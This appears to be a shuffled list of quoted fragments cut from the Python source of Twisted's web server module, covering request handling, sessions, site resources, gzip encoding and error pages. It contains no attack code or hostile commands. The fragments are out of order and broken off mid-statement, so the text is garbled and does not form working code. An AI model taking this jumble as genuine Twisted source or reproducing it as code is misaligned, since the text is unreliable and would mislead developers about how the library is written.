fix", "= self._reactor.seconds() if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version =", "reason: Reason this request has failed. @type reason: L{twisted.python.failure.Failure} @return:", "data = self._encoder.encode(data) http.Request.write(self, data) def finish(self): \"\"\" Override C{http.Request.finish}", "Request(Copyable, http.Request, components.Componentized): \"\"\" An HTTP request. @ivar defaultContentType: A", "of the request body, as indicated by the request headers.", "a length. \"\"\" try: getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self,", "request, flushing any data from the zlib buffer. \"\"\" remain", "epage.render(self) # end except UnsupportedMethod if body is NOT_DONE_YET: return", "None: # We have a previously created session. try: #", "remain local _secureSession = None _insecureSession = None @property def", "or \"\", nativeString(self.getRequestHostname()), hostport, ) ) path = b\"/\".join([quote(segment, safe=b\"\")", "def view_addCookie(self, issuer, k, v, **kwargs): \"\"\"Remote version of addCookie;", "b\"OPTIONS\") # RFC 7231 says we MUST set content-length 0", "An encoder which supports gzip. @ivar _zlibCompressor: The zlib compressor", "@return: A relative URL. @rtype: C{bytes} \"\"\" lpp = len(self.postpath)", "a session that will be transmitted over HTTP, even if", "child resource @type name: C{bytes} @return: A relative URL. @rtype:", "page secure = self.isSecure() and not forceNotSecure if not secure:", "@since: 12.3 \"\"\" _zlibCompressor = None def __init__(self, compressLevel, request):", "creating a secure session on a non-secure page secure =", "http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know how to treat a %s", "to schedule expiration of the session. If C{None}, the reactor", "a child of the requested resource. @param name: The child", "requests received by this factory will begin at this resource.", "(contentLength[0] == b\"0\") if ( needsCT and contentType is None", "(len(body),)) self._inFakeHead = False self.method = b\"HEAD\" self.write(b\"\") self.finish() return", "self.site.sessions[self.uid] for c in self.expireCallbacks: c() self.expireCallbacks = [] if", "site from channel self.site = self.channel.site # set various default", "The length of the request body, as indicated by the", "): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) # Only let the write", "= None postpath: Optional[List[bytes]] = None __pychecker__ = \"unusednames=issuer\" _inFakeHead", "return if not isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request", "and \"s\") or \"\", \"allowed\": \", \".join([nativeString(x) for x in", "if there # is a Content-Length header set to 0,", "The compression level used by the compressor, default to 9", "__all__ = [ \"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\",", "infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can", "b\"0\") if ( needsCT and contentType is None and self.defaultContentType", "giving the default I{Content-Type} value to send in responses if", "not None: self._encoder = encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def", "secure for HTTPS requests and not secure for HTTP requests.", "L{twisted.python.failure.Failure} @return: The reason passed to this method. @rtype: L{twisted.python.failure.Failure}", "acceptableProtocols(self): \"\"\" Protocols this server can speak. \"\"\" baseProtocols =", "calls remain local _secureSession = None _insecureSession = None @property", "will be transmitted over HTTP, even if this L{Request} was", "self.uid = uid self.expireCallbacks = [] self.touch() self.sessionNamespaces = {}", "issuer, producer, streaming): \"\"\"Remote version of registerProducer; same interface. (requires", "del x[\"channel\"] del x[\"content\"] del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] =", "the # resource doesn't, fake it by giving the resource", "except AttributeError: http.Request.gotLength(self, length) else: self.content = getContentFile(length) def process(self):", "secure = self.isSecure() and not forceNotSecure if not secure: cookieString", "list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for requests whose path is '*'.", "rendering are returned to the client as HTML. Default to", "for possible encoding. \"\"\" if self._encoder: data = self._encoder.finish() if", "Resource Identification self.prepath = [] self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) #", "Rather than bother the user with this, we simply fast-path", "NOT_MODIFIED and NO_CONTENT responses. We also omit it if there", "request.site = self # Sitepath is used to determine cookie", "# a content-type. needsCT = self.code not in (http.NOT_MODIFIED, http.NO_CONTENT)", "bodies don't need # a content-type. needsCT = self.code not", "should be left open. @type NOT_DONE_YET: Opaque; do not depend", "secure=secure) setattr(self, sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface) return session", "] # backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please", "session def _prePathURL(self, prepath): port = self.getHost().port if self.isSecure(): default", "cycle. self._expireCall = None def touch(self): \"\"\" Mark the session", "_entropy = os.urandom def __init__(self, resource, requestFactory=None, *args, **kwargs): \"\"\"", "@type sessionTimeout: L{float} @ivar lastModified: Time the C{touch()} method was", "hits an element where isLeaf is true. \"\"\" request.site =", "to determine cookie names between distributed # servers and disconnected", "client as HTML. Default to C{False}. @ivar sessionFactory: factory for", "return d def _mkuid(self): \"\"\" (internal) Generate an opaque, unique", "application will later call C{.write} and C{.finish} to complete the", "write, check to see if a default # Content-Type header", "@param forceNotSecure: Should we retrieve a session that will be", "Site is always a directory. \"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish()", "The zlib compressor instance used to compress the stream. @ivar", "HTTP connection should be left open. @type NOT_DONE_YET: Opaque; do", "@type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body = resrc.render(self)", "up. if not session: session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\",", "self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break reference cycle. self._expireCall =", "def _prePathURL(self, prepath): port = self.getHost().port if self.isSecure(): default =", "If the # resource doesn't, fake it by giving the", "\"\"\" return self.appRootURL def _handleStar(self): \"\"\" Handle receiving a request", "I only allow\"\"\" \"\"\" the method%(plural)s %(allowed)s here.\"\"\" % {", "(RFC 2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s =", "((len(allowedMethods) > 1) and \"s\") or \"\", \"allowed\": \", \".join([nativeString(x)", "length of the request body, as indicated by the request", "can return to indicate that the application will later call", "http.datetimeToString()) # Resource Identification self.prepath = [] self.postpath = list(map(unquote,", "remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ###", "makeSession(self): \"\"\" Generate a new Session instance, and store it", "x[\"client\"] = _addressToTuple(x[\"client\"]) # Header objects also aren't jellyable. x[\"requestHeaders\"]", "Identification self.prepath = [] self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit", "\" returning a message body. I think I'll eat it.\",", "last called (or time the session was created). A UNIX", "self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): \"\"\" Get a", "sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface) return session def _prePathURL(self,", "for scheduling expiration. @ivar sessionTimeout: Time after last modification the", "try: getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else: self.content", "call C{.write} and C{.finish} to complete the request, and that", "None postpath: Optional[List[bytes]] = None __pychecker__ = \"unusednames=issuer\" _inFakeHead =", "a default # Content-Type header should be supplied. We omit", "self.sessions = {} self.resource = resource if requestFactory is not", "import resource from twisted.web.error import UnsupportedMethod from incremental import Version", "list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML generation helpers def sibLink(self, name):", "issuer, data): \"\"\"Remote version of write; same interface.\"\"\" self.write(data) def", "logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy() d[\"sessions\"]", "isinstance(addr, address.IPv4Address): return (\"INET\", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return", "False _encoder = None _log = Logger() def __init__(self, *args,", "twisted.python.compat import networkString, nativeString from twisted.spread.pb import Copyable, ViewPoint from", "body is NOT_DONE_YET: return if not isinstance(body, bytes): body =", "= b\",\".join(encoding + [b\"gzip\"]) else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding])", "resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s) body = epage.render(self) else: epage", "contains no functionality, but is used to represent a session.", "KeyError: If the session is not found. \"\"\" return self.sessions[uid]", "AttributeError: http.Request.gotLength(self, length) else: self.content = getContentFile(length) def process(self): \"\"\"", "request whose path is '*'. RFC 7231 defines an OPTIONS", "but \" \"it got away from me.\", resrc=resrc, ) #", "lastModified: L{float} \"\"\" sessionTimeout = 900 _expireCall = None def", "a secure session on a non-secure page secure = self.isSecure()", "zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request = request def encode(self,", "prepath]) return prefix + path def prePathURL(self): return self._prePathURL(self.prepath) def", "call last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else: body =", "of setHeader; same interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self, issuer, when):", "The sibling resource @type name: C{bytes} @return: A relative URL.", "for requests whose path is '*'. if self.path == b\"*\":", "@return: An absolute URL. @rtype: L{bytes} \"\"\" return self.appRootURL def", "the request, automatically compressing data on the fly. \"\"\" if", "# This is a Bad Thing (RFC 2616, 9.4) self._log.info(", "request, automatically compressing data on the fly. \"\"\" if not", "callback when the session expires or logs out. \"\"\" self.expireCallbacks.append(callback)", "= None def touch(self): \"\"\" Mark the session as modified,", "url def getRootURL(self): \"\"\" Get a previously-remembered URL. @return: An", "\"s\") or \"\", \"allowed\": \", \".join([nativeString(x) for x in allowedMethods]),", "L{bytes} \"\"\" return self.appRootURL def _handleStar(self): \"\"\" Handle receiving a", "by # faking out the request method. Note, if we", "is not None: self._encoder = encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure())", "the session as modified, which resets expiration timer. \"\"\" self.lastModified", "new Session instance, and store it for future reference. \"\"\"", "\"\"\" defaultContentType = b\"text/html\" site = None appRootURL = None", "### these calls remain local _secureSession = None _insecureSession =", "found. \"\"\" return self.sessions[uid] def buildProtocol(self, addr): \"\"\" Generate a", "from typing import List, Optional from urllib.parse import quote as", "request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An encoder which supports gzip.", "was created yet for this request. cookiename = b\"_\".join([cookieString] +", "except BaseException: self.processingFailed(failure.Failure()) def write(self, data): \"\"\" Write data to", "can speak. \"\"\" baseProtocols = [b\"http/1.1\"] if http.H2_ENABLED: baseProtocols.insert(0, b\"h2\")", "to render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body", "= self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else: self.content = getContentFile(length)", "resource for a request. This iterates through the resource hierarchy,", "session on a non-secure page secure = self.isSecure() and not", "zope.interface import implementer from twisted.python.compat import networkString, nativeString from twisted.spread.pb", "relative URL. @rtype: C{bytes} \"\"\" lpp = len(self.postpath) if lpp", "+ \"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b\"HEAD\":", "L{Session} or L{None} \"\"\" if self.isSecure(): return self._secureSession else: return", "name else: # lpp == 0 if len(self.prepath) and self.prepath[-1]:", "whose path is '*'. if self.path == b\"*\": self._handleStar() return", "that generated the session. @type site: L{Site} @ivar uid: A", "by giving the resource # a 'GET' request and then", "self.sessionFactory(self, uid) session.startCheckingExpiration() return session def getSession(self, uid): \"\"\" Get", "request): \"\"\" Check the headers if the client accepts gzip", "the text that links to a child of the requested", "b\"../\") + name else: return name def childLink(self, name): \"\"\"", "addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): \"\"\"", "header set to 0, as empty bodies don't need #", "URLPath(self): from twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\"", "self._inFakeHead: if self._encoder: data = self._encoder.encode(data) http.Request.write(self, data) def finish(self):", "recent call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most recent call last):</b>\\n\\n\"", "L{Session} object representing state that will be transmitted over plain-text", "is not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory):", "self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): \"\"\" Call this", "for that session. @param reactor: L{IReactorTime} used to schedule expiration", "first write, check to see if a default # Content-Type", "allow\"\"\" \"\"\" the method%(plural)s %(allowed)s here.\"\"\" % { \"URI\": escape(nativeString(self.uri)),", "requests whose path is '*'. if self.path == b\"*\": self._handleStar()", "channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site = self return", "NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can return to", "@rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body = (", "def sibLink(self, name): \"\"\" Return the text that links to", "same interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer, tag): \"\"\"Remote version of", "traversal for requests received by this factory will begin at", "if self._encoder: data = self._encoder.encode(data) http.Request.write(self, data) def finish(self): \"\"\"", "to represent a session. @ivar site: The L{Site} that generated", "encoding, and encodes the request if so. \"\"\" acceptHeaders =", "default I{Content-Type} value to send in responses if no other", "with an indication that processing failed and possibly display a", "= b\"_\".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie: try:", "unquote from twisted.python import reflect, failure, components from twisted import", "in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero", "An absolute URL. @rtype: L{bytes} \"\"\" return self.appRootURL def _handleStar(self):", "as indicated by the request headers. L{None} if the request", "the session will expire, in seconds. @type sessionTimeout: L{float} @ivar", "= e.allowedMethods if (self.method == b\"HEAD\") and (b\"GET\" in allowedMethods):", "return that session.) @return: the session attribute @rtype: L{Session} or", "The L{Site} that generated the session. @type site: L{Site} @ivar", "if len(self.prepath) and self.prepath[-1]: return self.prepath[-1] + b\"/\" + name", "actually change the responseHeaders # once though, so it's still", "matches the security of the request; so if C{forceNotSecure} is", "sessionTimeout: Time after last modification the session will expire, in", "per-resource basis. supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\") def quote(string, *args,", "= self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return session def getSession(self,", "util._PRE(reflect.safe_repr(self)) + \"<br />\" + \"Resource: \" + util._PRE(reflect.safe_repr(resrc)) +", "getSession(self, uid): \"\"\" Get a previously generated session. @param uid:", "\"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server Traceback\"", "self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),))", "that processing failed and possibly display a traceback. @param reason:", "This utility class contains no functionality, but is used to", "super().__init__(*args, **kwargs) self.sessions = {} self.resource = resource if requestFactory", "self._mkuid() session = self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return session", "aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) # Header", "/>\" + \"Resource: \" + util._PRE(reflect.safe_repr(resrc)) + \"<br />\" +", "so it's still okay. if not self._inFakeHead: if self._encoder: data", "set content-length 0 when responding to this # with no", "Short-circuit for requests whose path is '*'. if self.path ==", "\"GzipEncoderFactory\", ] # backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0),", "Time the C{touch()} method was last called (or time the", "cookie from a secure request you can set C{forceNotSecure =", "\"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) > 1) and \"s\") or \"\",", "request headers. L{None} if the request headers do not indicate", "represent a session. @ivar site: The L{Site} that generated the", "self.path == b\"*\": self._handleStar() return try: resrc = self.site.getResourceFor(self) if", "= self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): \"\"\" Get", "where isLeaf is true. \"\"\" request.site = self # Sitepath", "by the compressor, default to 9 (highest). @since: 12.3 \"\"\"", "me.\", resrc=resrc, ) # Oh well, I guess we won't", "urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember the currently-processed part of the", "self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute, session) if sessionInterface:", "1800 _entropy = os.urandom def __init__(self, resource, requestFactory=None, *args, **kwargs):", "b\"/\") request.finish() def getChildWithDefault(self, pathEl, request): \"\"\" Emulate a resource's", "the requested resource. @param name: The sibling resource @type name:", "the session was created). A UNIX timestamp as returned by", "version of setETag; same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer, code,", "the session is not found. \"\"\" return self.sessions[uid] def buildProtocol(self,", "the request headers do not indicate a length. \"\"\" try:", "= (b\"GET\", b\"HEAD\", b\"POST\") def quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"),", "getattr(self, sessionAttribute) if session is not None: # We have", "fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish handling the", "None: self.requestFactory = requestFactory def _openLogFile(self, path): from twisted.python import", "transport (if not responding to a HEAD request). @param data:", "you can set C{forceNotSecure = True}. @param forceNotSecure: Should we", "Call this callback when the session expires or logs out.", "the application will later call C{.write} and C{.finish} to complete", "\"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards", "Thing (RFC 2616, 9.4) self._log.info( \"Warning: HEAD request {slf} for", "\"\"\" This is a web server which integrates with the", "this request. This method is not intended for users. @param", "self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request", "name): \"\"\" Return the text that links to a child", "session. @param reactor: L{IReactorTime} used to schedule expiration of the", "{resrc} is\" \" returning a message body. I think I'll", "C{NOT ALLOWED} response. @param resrc: The resource to render. @type", "{resrc}\", resrc=resrc ) self.method = b\"GET\" self._inFakeHead = True body", "expired. session = None if session is None: # No", "_zlibCompressor: The zlib compressor instance used to compress the stream.", "b\"<body><b>web.Server Traceback\" b\" (most recent call last):</b>\\n\\n\" + util.formatFailure(reason) +", "is not None: self.requestFactory = requestFactory def _openLogFile(self, path): from", "to write to the response. @type data: L{bytes} \"\"\" if", "in (supportedMethods): # We MUST include an Allow header #", "= zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request =", "\"\"\" Emulate a resource's getChild method. \"\"\" request.site = self", "request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An", "'GET' request and then return only the headers, # not", "incremental import Version from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import", "C{forceNotSecure = True}. @param forceNotSecure: Should we retrieve a session", "session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute, session)", "a system. This utility class contains no functionality, but is", "\"%(method)s\". I only allow\"\"\" \"\"\" the method%(plural)s %(allowed)s here.\"\"\" %", "self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A", "return name def childLink(self, name): \"\"\" Return the text that", "HEAD response by # faking out the request method. Note,", "@type counter: L{int} @ivar sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout}", "**kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x = self.__dict__.copy() del x[\"transport\"]", "use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string = http.datetimeToString string_date_time", "class GzipEncoderFactory: \"\"\" @cvar compressLevel: The compression level used by", "\" \"it got away from me.\", resrc=resrc, ) # Oh", "Site(http.HTTPFactory): \"\"\" A web site: manage log, sessions, and resources.", "1 return hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate a new Session", "created session. try: # Refresh the session, to keep it", "1, 0), \"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute(", "# startedWriting will never be true, and the above logic", "reason def view_write(self, issuer, data): \"\"\"Remote version of write; same", "it alive. session.touch() except (AlreadyCalled, AlreadyCancelled): # Session has already", "\"\"\" baseProtocols = [b\"http/1.1\"] if http.H2_ENABLED: baseProtocols.insert(0, b\"h2\") return baseProtocols", "forceNotSecure=False): \"\"\" Check if there is a session cookie, and", "then return only the headers, # not the body. self._log.info(", "to L{Session} given the default C{sessionFactory} @ivar counter: The number", "return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): \"\"\" Get a resource", "import escape from typing import List, Optional from urllib.parse import", "only the headers, # not the body. self._log.info( \"Using GET", "# Before doing the first write, check to see if", "issuer, when): \"\"\"Remote version of setLastModified; same interface.\"\"\" self.setLastModified(when) def", "List, Optional from urllib.parse import quote as _quote import zlib", "it still hasn't been set, fix it up. if not", "path is '*'. RFC 7231 defines an OPTIONS * request", "providing L{IReactorTime} to use for scheduling expiration. @ivar sessionTimeout: Time", "\"plural\": ((len(allowedMethods) > 1) and \"s\") or \"\", \"allowed\": \",", "return prefix + path def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self):", "A unique identifier for the session. @type uid: L{bytes} @ivar", "Make sure we aren't creating a secure session on a", "from html import escape from typing import List, Optional from", "giving the resource # a 'GET' request and then return", "\"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards compatibility deprecatedModuleAttribute(", "Should we retrieve a session that will be transmitted over", "sessionAttribute = \"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\"", "except KeyError: pass # if it still hasn't been set,", "fix it up. if not session: session = self.site.makeSession() self.addCookie(cookiename,", "@ivar site: The L{Site} that generated the session. @type site:", "return (\"UNIX\", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request,", "resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\"", "modification the session will expire, in seconds. @type sessionTimeout: L{float}", "display a traceback. @param reason: Reason this request has failed.", "client can send as a low-effort way to probe server", "interface.\"\"\" self.finish() def view_addCookie(self, issuer, k, v, **kwargs): \"\"\"Remote version", "L{bytes} @ivar _reactor: An object providing L{IReactorTime} to use for", "reactor associated with I{site} is used. \"\"\" super().__init__() if reactor", "helpers def sibLink(self, name): \"\"\" Return the text that links", "render(self, request): \"\"\" Redirect because a Site is always a", "generated the session. @type site: L{Site} @ivar uid: A unique", "L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions = {} self.resource = resource", "x[\"content_data\"] = self.content.read() x[\"remote\"] = ViewPoint(issuer, self) # Address objects", "getRootURL(self): \"\"\" Get a previously-remembered URL. @return: An absolute URL.", "**kwargs): \"\"\"Remote version of addCookie; same interface.\"\"\" self.addCookie(k, v, **kwargs)", "v, **kwargs) def view_setHeader(self, issuer, k, v): \"\"\"Remote version of", "{} def startCheckingExpiration(self): \"\"\" Start expiration tracking. @return: L{None} \"\"\"", "appRootURL = None prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]] =", "AlreadyCalled, AlreadyCancelled from twisted.web import iweb, http, util from twisted.web.http", "# Refresh the session, to keep it alive. session.touch() except", "expires or logs out. \"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout", "self._inFakeHead = True body = resrc.render(self) if body is NOT_DONE_YET:", "Default to L{Session}. @ivar sessions: Mapping of session IDs to", "the session. \"\"\" del self.site.sessions[self.uid] for c in self.expireCallbacks: c()", "depend on any particular type for this value. \"\"\" import", "\"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor = None return remain class", "Start expiration tracking. @return: L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire)", "+ b\"\\n\\n</body></html>\\n\" ) else: body = ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\"", "to an empty 200 OK. Any non-OPTIONS verb gets a", "and if not, create it. By default, the cookie with", "def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return (\"INET\", addr.host, addr.port) elif", "self.__dict__.copy() del x[\"transport\"] # XXX refactor this attribute out; it's", "Expire/logout of the session. \"\"\" del self.site.sessions[self.uid] for c in", "del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] = self.content.read() x[\"remote\"] = ViewPoint(issuer,", "twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0),", "# once though, so it's still okay. if not self._inFakeHead:", "getChildWithDefault on each resource it finds for a path element,", "\"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) > 1) and \"s\")", "if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding = b\",\".join(encoding", "MUST include an Allow header # (RFC 2616, 10.4.6 and", "0: # This is a Bad Thing (RFC 2616, 9.4)", "zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request = request", "(escape(self.method.decode(\"charmap\")),), ) body = epage.render(self) # end except UnsupportedMethod if", ") if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding =", "servers and disconnected sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request)", "} ) epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s) body", "@property def session(self): \"\"\" If a session has already been", "isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class", "L{Request.getSession}, this will return that object. (This will always be", "used to compress the stream. @ivar _request: A reference to", "def getChildWithDefault(self, pathEl, request): \"\"\" Emulate a resource's getChild method.", "uid self.expireCallbacks = [] self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self):", "allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s)", "= b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session = getattr(self, sessionAttribute) if", "encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class", "method \"%(method)s\". I only allow\"\"\" \"\"\" the method%(plural)s %(allowed)s here.\"\"\"", "the request if so. \"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", [])", "+ name else: return name def childLink(self, name): \"\"\" Return", "L{Session} object representing the state that will be transmitted only", "reason: L{twisted.python.failure.Failure} @return: The reason passed to this method. @rtype:", "secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else: cookieString =", "\"\"\" Generate a channel attached to this site. \"\"\" channel", "b\"POST\") def quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def", "the requested method, generate a C{NOT IMPLEMENTED} or C{NOT ALLOWED}", "+ name else: return name def gotLength(self, length): \"\"\" Called", "= b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\")", "def _openLogFile(self, path): from twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path))", "traceback. @param reason: Reason this request has failed. @type reason:", "> 1) and \"s\") or \"\", \"allowed\": \", \".join([nativeString(x) for", "at this resource. @type resource: L{IResource} provider @param requestFactory: Overwrite", "= None _log = Logger() def __init__(self, *args, **kw): http.Request.__init__(self,", "cookie with be secure for HTTPS requests and not secure", "site self.uid = uid self.expireCallbacks = [] self.touch() self.sessionNamespaces =", "unhandled exceptions raised during rendering are returned to the client", "fast-path it back to an empty 200 OK. Any non-OPTIONS", "return if self.method in (supportedMethods): # We MUST include an", "with a system. This utility class contains no functionality, but", "Time after last modification the session will expire, in seconds.", "over plain-text HTTP. @ivar _secureSession: The L{Session} object representing the", "need # a content-type. needsCT = self.code not in (http.NOT_MODIFIED,", "a Bad Thing (RFC 2616, 9.4) self._log.info( \"Warning: HEAD request", "a client can send as a low-effort way to probe", "possible encoding. \"\"\" if self._encoder: data = self._encoder.finish() if data:", "self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) # Only let the write happen", ") self._request = request def encode(self, data): \"\"\" Write to", "or \"\", \"allowed\": \", \".join([nativeString(x) for x in allowedMethods]), }", "request and then return only the headers, # not the", "if requestFactory is not None: self.requestFactory = requestFactory def _openLogFile(self,", "expiration timer. \"\"\" self.lastModified = self._reactor.seconds() if self._expireCall is not", "the session attribute @rtype: L{Session} or L{None} \"\"\" if self.isSecure():", "\"\"\" import copy import os import re from html import", "for c in self.expireCallbacks: c() self.expireCallbacks = [] if self._expireCall", "to indicate that the application will later call C{.write} and", "elif isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name) else: return tuple(addr) @implementer(iweb.IRequest)", "@ivar _reactor: An object providing L{IReactorTime} to use for scheduling", "treat a %s request.\" % (escape(self.method.decode(\"charmap\")),), ) body = epage.render(self)", "def finish(self): \"\"\" Override C{http.Request.finish} for possible encoding. \"\"\" if", "[]) ) if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding", "in this request. This method is not intended for users.", "never be true, and the above logic may run #", "write happen if we're not generating a HEAD response by", "HEAD request for {resrc}\", resrc=resrc ) self.method = b\"GET\" self._inFakeHead", 